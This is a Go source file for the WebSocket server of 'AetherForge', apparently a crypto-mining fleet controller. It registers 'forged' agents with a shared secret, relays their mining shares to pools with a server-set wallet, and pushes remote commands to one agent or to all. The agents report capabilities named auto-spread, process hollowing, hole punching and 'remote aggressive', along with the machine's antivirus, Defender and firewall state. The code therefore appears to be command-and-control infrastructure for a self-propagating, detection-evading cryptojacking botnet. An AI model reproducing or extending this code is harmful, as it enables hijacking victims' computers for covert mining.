Files
AetherForge/server/internal/api/websocket.go

1117 lines
32 KiB
Go

package api
import (
"crypto/subtle"
"encoding/base64"
"encoding/json"
"fmt"
"log"
"net/http"
"strings"
"sync"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"github.com/google/uuid"
"github.com/gorilla/websocket"
)
// secureStringEqual compares two strings in constant time to prevent timing attacks.
func secureStringEqual(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
// checkDashboardWSToken validates the ?token= query param on dashboard WS upgrade.
// The browser passes btoa("user:pass") — the same value stored in sessionStorage.
func checkDashboardWSToken(r *http.Request) bool {
token := r.URL.Query().Get("token")
if token == "" {
return false
}
decoded, err := base64.StdEncoding.DecodeString(token)
if err != nil {
return false
}
parts := strings.SplitN(string(decoded), ":", 2)
if len(parts) != 2 {
return false
}
user, pass := parts[0], parts[1]
usersMu.RLock()
stored, exists := authUsers[user]
usersMu.RUnlock()
return exists && checkPassword(stored, pass)
}
var upgrader = websocket.Upgrader{
ReadBufferSize: 512 * 1024,
WriteBufferSize: 512 * 1024,
CheckOrigin: func(r *http.Request) bool {
return true // Allow all origins for local use
},
}
type Message struct {
Type string `json:"type"`
Payload json.RawMessage `json:"payload"`
}
type AgentConnection struct {
AgentID string
Conn *websocket.Conn
mu sync.Mutex
// Latency tracking — updated each ping/pong cycle.
latencyMu sync.Mutex
pingSentAt time.Time
LatencyMs *int // nil until first pong received
}
func (c *AgentConnection) SendJSON(v interface{}) error {
c.mu.Lock()
defer c.mu.Unlock()
return c.Conn.WriteJSON(v)
}
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
// broadcastDashboard and the ping loop never race on the same connection.
type DashboardConn struct {
Conn *websocket.Conn
mu sync.Mutex
}
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteMessage(messageType, data)
}
func (d *DashboardConn) WriteJSON(v interface{}) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteJSON(v)
}
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteControl(messageType, data, deadline)
}
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
dashboards map[string]*DashboardConn
poolManager *pool.Manager
defaultPool pool.Config
aiHandler *AIHandler
agentConfigs map[string]AgentForgeConfig
agentCapabilities map[string]models.AgentCapabilities
agentLogs map[string]string
// T1016 DNS drift detection — stores last seen resolver list per agent
agentDNS map[string][]string
serverPolicy ServerPolicy
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
mu sync.RWMutex
}
func NewWSHub(database *db.Database) *WSHub {
return &WSHub{
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
pingIntervalSec: 30,
}
}
func (h *WSHub) SetServerPolicy(p ServerPolicy) {
h.mu.Lock()
h.serverPolicy = p
h.mu.Unlock()
}
func (h *WSHub) SetPingInterval(seconds int) {
if seconds < 10 {
seconds = 30
}
h.mu.Lock()
h.pingIntervalSec = seconds
h.mu.Unlock()
}
// SetFleetSecret stores the shared secret that all forged agents must present.
// Called once at startup from main.go after config is loaded.
func (h *WSHub) SetFleetSecret(secret string) {
h.mu.Lock()
h.fleetSecret = secret
h.mu.Unlock()
}
func (h *WSHub) pingInterval() time.Duration {
h.mu.RLock()
sec := h.pingIntervalSec
h.mu.RUnlock()
if sec < 10 {
sec = 30
}
return time.Duration(sec) * time.Second
}
func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
conn.SetPongHandler(func(string) error {
return conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
// runPingLoopAgent is like runPingLoopRaw but also records RTT on each pong.
func (h *WSHub) runPingLoopAgent(ac *AgentConnection) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
conn := ac.Conn
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
conn.SetPongHandler(func(string) error {
// Measure RTT.
ac.latencyMu.Lock()
if !ac.pingSentAt.IsZero() {
ms := int(time.Since(ac.pingSentAt).Milliseconds())
ac.LatencyMs = &ms
}
ac.latencyMu.Unlock()
return conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
ac.latencyMu.Lock()
ac.pingSentAt = time.Now()
ac.latencyMu.Unlock()
if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
dc.Conn.SetPongHandler(func(string) error {
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
h.mu.RLock()
defer h.mu.RUnlock()
return h.serverPolicy
}
func (h *WSHub) connectedAgentCount() int {
h.mu.RLock()
defer h.mu.RUnlock()
return len(h.agents)
}
func (h *WSHub) isAgentConnected(agentID string) bool {
h.mu.RLock()
defer h.mu.RUnlock()
_, ok := h.agents[agentID]
return ok
}
// writeAgentJSON sends a message to a connected agent using the per-connection
// write mutex. All post-auth outbound JSON must use this — never conn.WriteJSON
// from the read loop, or commands and new_job messages can corrupt each other.
func (h *WSHub) writeAgentJSON(agentID string, msg Message) error {
ac := h.getAgentConn(agentID)
if ac == nil {
return fmt.Errorf("agent %s not connected", agentID)
}
return ac.SendJSON(msg)
}
func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
h.mu.Lock()
h.poolManager = manager
h.defaultPool = defaultCfg
h.mu.Unlock()
}
func (h *WSHub) SetAIHandler(ai *AIHandler) {
h.mu.Lock()
h.aiHandler = ai
h.mu.Unlock()
}
func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
h.mu.RLock()
defer h.mu.RUnlock()
cfg := h.agentConfigs[agentID]
poolCfg := pool.Config{
Host: cfg.poolHostOrDefault(h.defaultPool.Host),
Port: cfg.poolPortOrDefault(h.defaultPool.Port),
Wallet: cfg.Wallet,
}
if cfg.PoolHost == "" {
poolCfg.UseTLS = h.defaultPool.UseTLS
} else {
poolCfg.UseTLS = cfg.PoolTLS
}
if cfg.PoolPass != "" {
poolCfg.Password = cfg.PoolPass
} else if h.defaultPool.Password != "" {
poolCfg.Password = h.defaultPool.Password
} else {
poolCfg.Password = "x"
}
if poolCfg.Wallet == "" {
poolCfg.Wallet = h.defaultPool.Wallet
}
// Always carry the payment ID from the server-wide default (agents don't
// supply their own payment ID).
poolCfg.PaymentID = h.defaultPool.PaymentID
return poolCfg
}
func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
h.mu.RLock()
defer h.mu.RUnlock()
return h.agents[agentID]
}
func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
clientIP := r.Header.Get("X-Forwarded-For")
if clientIP == "" {
clientIP = r.RemoteAddr
}
log.Printf("[WS] Agent connection attempt from %s (origin=%s)", clientIP, r.Header.Get("Origin"))
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("[WS] Agent upgrade failed from %s: %v", clientIP, err)
return
}
log.Printf("[WS] Agent WebSocket upgraded OK from %s", clientIP)
agentID := ""
defer func() {
if agentID != "" {
h.mu.Lock()
cur := h.agents[agentID]
// Only tear down fleet state if this connection is still the active one.
if cur != nil && cur.Conn == conn {
delete(h.agents, agentID)
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
h.mu.Unlock()
if h.aiHandler != nil {
h.aiHandler.RemoveEngine(agentID)
}
h.db.SetAgentOffline(agentID)
h.broadcastDashboard(Message{
Type: "agent_offline",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
})
} else {
h.mu.Unlock()
}
}
conn.Close()
}()
for {
_, msgBytes, err := conn.ReadMessage()
if err != nil {
log.Printf("Agent read error: %v", err)
break
}
var msg Message
if err := json.Unmarshal(msgBytes, &msg); err != nil {
log.Printf("Invalid message from agent: %v", err)
continue
}
switch msg.Type {
case "auth":
var auth struct {
AgentID string `json:"agent_id"`
FleetSecret string `json:"fleet_secret"`
Wallet string `json:"wallet"`
BackupPools []struct {
Host string `json:"host"`
Port int `json:"port"`
TLS bool `json:"pool_tls"`
Pass string `json:"pass"`
} `json:"backup_pools"`
Version string `json:"version"`
Hostname string `json:"hostname"`
Worker string `json:"worker"`
WorkerName string `json:"worker_name"`
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid auth payload",
})})
continue
}
// Verify fleet secret. If the server has one configured, the agent must match.
h.mu.RLock()
requiredSecret := h.fleetSecret
h.mu.RUnlock()
log.Printf("[WS] Agent auth: id=%s host=%s secret_prefix=%.8s", auth.AgentID, auth.Hostname, auth.FleetSecret)
if requiredSecret != "" && !secureStringEqual(auth.FleetSecret, requiredSecret) {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid fleet secret — re-forge this agent",
})})
log.Printf("[auth] Agent rejected: bad fleet secret (host=%s id=%s)", auth.Hostname, auth.AgentID)
return
}
agentID = auth.AgentID
if agentID == "" {
agentID = uuid.New().String()
}
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
policy := h.serverPolicySnapshot()
backupPools := make([]AgentBackupPool, len(auth.BackupPools))
for i, bp := range auth.BackupPools {
backupPools[i] = AgentBackupPool{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
}
forgeCfg := AgentForgeConfig{
Wallet: auth.Wallet,
PoolHost: auth.PoolHost,
PoolPort: auth.PoolPort,
PoolTLS: auth.PoolTLS,
PoolPass: auth.PoolPass,
AIEnabled: auth.AIEnabled,
AIOllamaEndpoint: auth.AIOllamaEndpoint,
AIModel: auth.AIModel,
BackupPools: backupPools,
}
caps := models.AgentCapabilities{
HolePunch: auth.HolePunch,
RemoteAggressive: auth.RemoteAggressive,
MeshP2P: auth.MeshP2P,
AutoSpread: auth.AutoSpread,
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
AIEnabled: auth.AIEnabled,
}
h.mu.Lock()
h.agentConfigs[agentID] = forgeCfg
h.agentCapabilities[agentID] = caps
h.mu.Unlock()
if h.poolManager != nil {
poolCfg := h.agentPoolConfig(agentID)
if poolCfg.Password == "" {
poolCfg.Password = "x"
}
// Build backup pool.Config list from what the agent sent at auth.
var backupCfgs []pool.Config
for _, bp := range backupPools {
if bp.Host == "" || bp.Port <= 0 {
continue
}
bpc := pool.Config{
Host: bp.Host,
Port: bp.Port,
UseTLS: bp.TLS,
Wallet: poolCfg.Wallet,
}
if bp.Pass != "" {
bpc.Password = bp.Pass
} else {
bpc.Password = poolCfg.Password
}
backupCfgs = append(backupCfgs, bpc)
}
// Connect to pool in background — do NOT block the auth_response.
// The agent can start and the pool proxy will be ready by the time
// the first share is submitted.
go func(pc pool.Config, bcs []pool.Config, aid string) {
if _, err := h.poolManager.EnsurePoolWithBackups(&pc, bcs); err != nil {
log.Printf("[WS] Pool init for agent %s failed (will retry): %v", aid, err)
}
}(poolCfg, backupCfgs, agentID)
}
if h.aiHandler != nil && forgeCfg.AIEnabled {
h.aiHandler.SetEngineForAgent(agentID, forgeCfg.AIOllamaEndpoint, forgeCfg.AIModel)
}
clientIP := r.Header.Get("X-Forwarded-For")
if clientIP == "" {
clientIP = r.RemoteAddr
}
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
clientIP = clientIP[:idx]
}
agent := &models.Agent{
ID: agentID,
Name: displayName,
Wallet: auth.Wallet,
IP: clientIP,
Version: auth.Version,
Status: "online",
CPUCores: auth.CPUCores,
MemoryGB: auth.MemoryGB,
LastSeen: time.Now(),
Platform: auth.Platform,
Arch: auth.Arch,
OSVersion: auth.OSVersion,
Hostname: auth.Hostname,
Capabilities: &caps,
}
if err := h.db.UpsertAgent(agent); err != nil {
log.Printf("Failed to upsert agent: %v", err)
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "database error",
})})
break
}
if policy.LogAgentConnections {
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
}
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock()
if policy.MaxAgents > 0 {
_, alreadyConnected := h.agents[agentID]
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
}
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
oldConn := old.Conn
h.mu.Unlock()
oldConn.Close()
h.mu.Lock()
}
ac := &AgentConnection{AgentID: agentID, Conn: conn}
h.agents[agentID] = ac
h.mu.Unlock()
// Start the RTT-aware ping loop now that we have an AgentConnection.
go h.runPingLoopAgent(ac)
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": true,
"agent_id": agentID,
})})
// Enrich agent with hostname before broadcasting so the dashboard
// immediately shows the correct machine-specific display name.
agent.Hostname = auth.Hostname
h.broadcastDashboard(Message{
Type: "agent_online",
Payload: mustMarshal(agent),
})
case "stats":
if agentID == "" {
continue
}
var stats struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
// Listen ports
ListenPortCount *int `json:"listen_port_count,omitempty"`
// DNS config (T1016)
DNSServers []string `json:"dns_servers,omitempty"`
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
// Resource pressure
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
CPUTempC *int `json:"cpu_temp_c,omitempty"`
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
DiskFreePct *int `json:"disk_free_pct,omitempty"`
GPUTempC *int `json:"gpu_temp_c,omitempty"`
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
// SSH + posture
SSHAvailable *bool `json:"ssh_available,omitempty"`
PostureScore *int `json:"posture_score,omitempty"`
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
DefenderRTP *bool `json:"defender_rtp,omitempty"`
AVProducts []string `json:"av_products,omitempty"`
FirewallDomain *bool `json:"firewall_domain,omitempty"`
FirewallPrivate *bool `json:"firewall_private,omitempty"`
FirewallPublic *bool `json:"firewall_public,omitempty"`
LastPatchDays *int `json:"last_patch_days,omitempty"`
LastPatch *string `json:"last_patch,omitempty"`
PendingUpdates *int `json:"pending_updates,omitempty"`
RebootPending *bool `json:"reboot_pending,omitempty"`
AgentElevated *bool `json:"agent_elevated,omitempty"`
Services []struct {
Name string `json:"name"`
DisplayName string `json:"display_name,omitempty"`
Status string `json:"status"`
StartType string `json:"start_type"`
} `json:"services,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
continue
}
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
if sharesBad < 0 {
sharesBad = 0
}
h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
broadcast := map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
}
// Resource pressure fields
if stats.CPUFreqMHz != nil { broadcast["cpu_freq_mhz"] = *stats.CPUFreqMHz }
if stats.CPUMaxMHz != nil { broadcast["cpu_max_mhz"] = *stats.CPUMaxMHz }
if stats.CPUThrottle != nil { broadcast["cpu_throttle"] = *stats.CPUThrottle }
if stats.CPUTempC != nil { broadcast["cpu_temp_c"] = *stats.CPUTempC }
if stats.DiskFreeGB != nil { broadcast["disk_free_gb"] = *stats.DiskFreeGB }
if stats.DiskTotalGB != nil { broadcast["disk_total_gb"] = *stats.DiskTotalGB }
if stats.DiskFreePct != nil { broadcast["disk_free_pct"] = *stats.DiskFreePct }
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
// Listen port count
if stats.ListenPortCount != nil {
broadcast["listen_port_count"] = *stats.ListenPortCount
}
// T1016 DNS drift detection
if len(stats.DNSServers) > 0 {
broadcast["dns_servers"] = stats.DNSServers
if stats.DNSSearchDomains != nil {
broadcast["dns_search_domains"] = stats.DNSSearchDomains
}
h.mu.Lock()
prev, hasPrev := h.agentDNS[agentID]
drifted := hasPrev && !dnsEqual(prev, stats.DNSServers)
h.agentDNS[agentID] = stats.DNSServers
h.mu.Unlock()
if drifted {
broadcast["dns_drifted"] = true
log.Printf("[T1016] DNS drift detected on agent %s: %v → %v", agentID, prev, stats.DNSServers)
}
}
if stats.SSHAvailable != nil {
broadcast["ssh_available"] = *stats.SSHAvailable
}
if stats.PostureScore != nil {
broadcast["posture_score"] = *stats.PostureScore
}
if stats.DefenderEnabled != nil {
broadcast["defender_enabled"] = *stats.DefenderEnabled
}
if stats.DefenderRTP != nil {
broadcast["defender_rtp"] = *stats.DefenderRTP
}
if len(stats.AVProducts) > 0 {
broadcast["av_products"] = stats.AVProducts
}
if stats.FirewallDomain != nil {
broadcast["firewall_domain"] = *stats.FirewallDomain
}
if stats.FirewallPrivate != nil {
broadcast["firewall_private"] = *stats.FirewallPrivate
}
if stats.FirewallPublic != nil {
broadcast["firewall_public"] = *stats.FirewallPublic
}
if stats.LastPatchDays != nil {
broadcast["last_patch_days"] = *stats.LastPatchDays
}
if stats.LastPatch != nil {
broadcast["last_patch"] = *stats.LastPatch
}
if stats.PendingUpdates != nil {
broadcast["pending_updates"] = *stats.PendingUpdates
}
if stats.RebootPending != nil {
broadcast["reboot_pending"] = *stats.RebootPending
}
if stats.AgentElevated != nil {
broadcast["agent_elevated"] = *stats.AgentElevated
}
if len(stats.Services) > 0 {
broadcast["services"] = stats.Services
}
// Attach latest RTT latency from the ping loop.
if ac := h.getAgentConn(agentID); ac != nil {
ac.latencyMu.Lock()
if ac.LatencyMs != nil {
broadcast["latency_ms"] = *ac.LatencyMs
}
ac.latencyMu.Unlock()
}
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
case "submit_share":
if agentID == "" {
continue
}
var share models.Share
if err := json.Unmarshal(msg.Payload, &share); err != nil {
continue
}
share.AgentID = agentID
share.Timestamp = time.Now()
share.Accepted = false
shareID, err := h.db.InsertShare(&share)
if err != nil {
log.Printf("Failed to insert share: %v", err)
continue
}
sendShareResult := func(accepted bool, errMsg string) {
share.Accepted = accepted
share.Error = errMsg
if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
log.Printf("Failed to update share result: %v", err)
}
if h.serverPolicySnapshot().LogShareSubmissions {
log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
}
agentConn := h.getAgentConn(agentID)
if agentConn != nil {
result := map[string]interface{}{
"job_id": share.JobID,
"accepted": accepted,
}
if errMsg != "" {
result["error"] = errMsg
}
_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
}
h.broadcastDashboard(Message{
Type: "new_share",
Payload: mustMarshal(map[string]interface{}{
"id": shareID,
"agent_id": agentID,
"job_id": share.JobID,
"accepted": accepted,
"hash": share.Hash,
"nonce": share.Nonce,
"error": errMsg,
"timestamp": share.Timestamp,
}),
})
}
if h.poolManager == nil {
sendShareResult(false, "pool manager not configured")
continue
}
poolCfg := h.agentPoolConfig(agentID)
proxy := h.poolManager.GetPool(&poolCfg)
if proxy == nil {
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
proxy = p
} else {
sendShareResult(false, "pool not connected: "+err.Error())
continue
}
}
if !proxy.IsConnected() {
sendShareResult(false, "pool not connected")
continue
}
wallet := poolCfg.Wallet
if wallet == "" {
wallet = h.defaultPool.Wallet
}
go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
case "get_job":
if agentID == "" {
continue
}
var proxy *pool.Proxy
if h.poolManager != nil {
poolCfg := h.agentPoolConfig(agentID)
// Only use GetPool (non-blocking). If the pool hasn't connected yet
// (background EnsurePoolWithBackups from auth is still dialing), kick
// off another async attempt rather than blocking the WS read loop.
proxy = h.poolManager.GetPool(&poolCfg)
if proxy == nil {
go func(pc pool.Config) {
if p, err := h.poolManager.EnsurePool(&pc); err != nil {
log.Printf("[WS] get_job EnsurePool for %s failed: %v", pc.Host, err)
} else {
_ = p
}
}(poolCfg)
}
}
if proxy != nil {
job := proxy.GetCurrentJob()
if job != nil {
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(job)})
} else {
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available — pool connecting"})})
}
} else {
_ = h.writeAgentJSON(agentID, Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool connecting — retry shortly"})})
}
case "log_tail":
if agentID == "" {
continue
}
var payload struct {
Content string `json:"content"`
Lines int `json:"lines"`
}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
h.mu.Lock()
h.agentLogs[agentID] = payload.Content
h.mu.Unlock()
h.broadcastDashboard(Message{
Type: "agent_log",
Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
})
case "command_result":
if agentID == "" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
payload["agent_id"] = agentID
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
}
}
}
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
// Verify dashboard session. The SPA sends its stored Basic-auth token as
// ?token=<base64> because the WS upgrade can't carry Authorization headers.
// We decode it and check against the same in-memory user map as the REST API.
if !checkDashboardWSToken(r) {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
return
}
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("Dashboard WebSocket upgrade error: %v", err)
return
}
dc := &DashboardConn{Conn: conn}
dashID := uuid.New().String()
h.mu.Lock()
h.dashboards[dashID] = dc
h.mu.Unlock()
defer func() {
h.mu.Lock()
delete(h.dashboards, dashID)
h.mu.Unlock()
conn.Close()
}()
// Send initial data
agents, _ := h.db.ListAgents()
h.enrichAgentsCapabilities(agents)
for _, a := range agents {
if a != nil && h.isAgentConnected(a.ID) {
a.Status = "online"
}
}
stats, _ := h.db.GetFleetStats()
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
"agents": agents,
"stats": stats,
})})
go h.runPingLoopDash(dc)
// Keep connection alive, read close messages
for {
_, _, err := conn.ReadMessage()
if err != nil {
break
}
}
}
func (h *WSHub) broadcastDashboard(msg Message) {
h.mu.RLock()
defer h.mu.RUnlock()
data, err := json.Marshal(msg)
if err != nil {
return
}
for id, dc := range h.dashboards {
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("Failed to send to dashboard %s: %v", id, err)
dc.Conn.Close()
id := id
go func() {
h.mu.Lock()
delete(h.dashboards, id)
h.mu.Unlock()
}()
}
}
}
func mustMarshal(v interface{}) json.RawMessage {
data, _ := json.Marshal(v)
return data
}
// dnsEqual returns true when two DNS server lists contain the same addresses
// regardless of order. Used for T1016 drift detection.
func dnsEqual(a, b []string) bool {
if len(a) != len(b) {
return false
}
m := make(map[string]int, len(a))
for _, v := range a {
m[v]++
}
for _, v := range b {
m[v]--
if m[v] < 0 {
return false
}
}
return true
}
// BroadcastToAgents sends a message to all connected agents
func (h *WSHub) BroadcastToAgents(msg Message) {
h.mu.RLock()
defer h.mu.RUnlock()
for id, agent := range h.agents {
if err := agent.SendJSON(msg); err != nil {
log.Printf("Failed to send to agent %s: %v", id, err)
}
}
}
// SendToAgent sends a message to one connected agent.
func (h *WSHub) SendToAgent(agentID string, msg Message) error {
agent := h.getAgentConn(agentID)
if agent == nil {
return fmt.Errorf("agent %s not connected", agentID)
}
return agent.SendJSON(msg)
}
// RemoveAgent forcibly disconnects an agent and removes it from the live map.
// It then broadcasts agent_deleted to all dashboard clients so the UI removes
// the agent immediately without waiting for the disconnect goroutine to fire.
func (h *WSHub) RemoveAgent(agentID string) {
h.mu.Lock()
if ac, ok := h.agents[agentID]; ok {
// Nil the map entry BEFORE closing so the agent goroutine's deferred
// cleanup (which checks cur.Conn == conn) falls into the else branch
// and skips SetAgentOffline — avoiding a write to an already-deleted row.
delete(h.agents, agentID)
delete(h.agentConfigs, agentID)
delete(h.agentLogs, agentID)
delete(h.agentCapabilities, agentID)
ac.Conn.Close()
}
h.mu.Unlock()
// Broadcast deletion so every connected dashboard removes the agent immediately.
h.broadcastDashboard(Message{
Type: "agent_deleted",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
})
}
// SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
}
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
}
// BroadcastAgentCommand sends a remote command to all connected agents.
func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}) {
payload := map[string]interface{}{"action": action}
for k, v := range args {
payload[k] = v
}
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
}
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
h.mu.RLock()
defer h.mu.RUnlock()
for _, a := range agents {
if a == nil {
continue
}
if caps, ok := h.agentCapabilities[a.ID]; ok {
c := caps
a.Capabilities = &c
}
}
}
func (h *WSHub) GetAgentLog(agentID string) string {
h.mu.RLock()
defer h.mu.RUnlock()
return h.agentLogs[agentID]
}
func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
}
func (h *WSHub) BroadcastPoolStatus(status interface{}) {
h.broadcastDashboard(Message{Type: "pool_status", Payload: mustMarshal(status)})
}
func (h *WSHub) BroadcastAIActivity(entry interface{}) {
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
}
// agentDisplayName returns a display name that is unique per physical machine.
// Hostname is preferred because it's machine-specific — many agents deployed from
// the same binary would otherwise share the same baked-in worker name, making
// a large fleet impossible to differentiate.
func agentDisplayName(workerName, worker, hostname, agentID string) string {
if hostname != "" {
return hostname
}
// No hostname reported — make the worker name unique with a short agent ID suffix.
base := workerName
if base == "" {
base = worker
}
if base == "" {
base = "agent"
}
return base + "-" + shortAgentID(agentID)
}
func shortAgentID(id string) string {
if len(id) >= 8 {
return id[:8]
}
if id == "" {
return "agent"
}
return id
}
// BroadcastServerLog streams a server log line to connected dashboards.
func (h *WSHub) BroadcastServerLog(line string) {
line = strings.TrimSpace(line)
if line == "" {
return
}
h.broadcastDashboard(Message{
Type: "server_log",
Payload: mustMarshal(map[string]string{"line": line}),
})
}